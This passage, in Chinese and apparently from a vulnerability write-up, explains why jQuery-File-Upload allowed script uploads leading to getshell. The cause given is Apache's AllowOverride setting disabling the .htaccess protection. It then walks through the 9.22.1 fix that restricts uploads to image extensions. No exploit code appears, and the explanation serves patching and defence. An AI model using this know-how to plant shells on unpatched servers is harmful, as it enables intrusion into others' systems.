在2.3.8及之前版本allowoverride默认为all。
allowoverride指定了在.htaccess配置文件中, 可以覆盖掉主配置文件的指令。 当allowoverride为none时, .htaccess文件就失去了它的作用, 所以jquery-upload中对files目录所设置的拒绝脚本文件执行也就失效了。 导致了getshell。

修复

Jquery-file-upload在9.22.1版本中修复了该漏洞。
-w977
在实例化UploadHandler类的时候, 传递了一个数组进去。数组里面带了一个accept_file_types来验证后缀。
在UploadHandler类的构造方法中,

1
2
3
if ($options) {
$this->options = $options + $this->options;
}

把传递进来的数组和自身的配置变量数组用加号进行合并,
使用加号合并时 出现key冲突时 前面的数组对应的value会覆盖掉后面的。
所以这时
$this->options['accept_file_types']'/\.(gif|jpe?g|png)$/i'
在上传之前的validate方法中有通过获取accept_file_types来正则验证上传的文件名, 所以修复后就只能上传图片文件了。
-w965
修复后再上传脚本文件就失败了。

References

1: https://httpd.apache.org/docs/current/mod/core.html#allowoverride

2: https://github.com/blueimp/jQuery-File-Upload/blob/master/VULNERABILITIES.md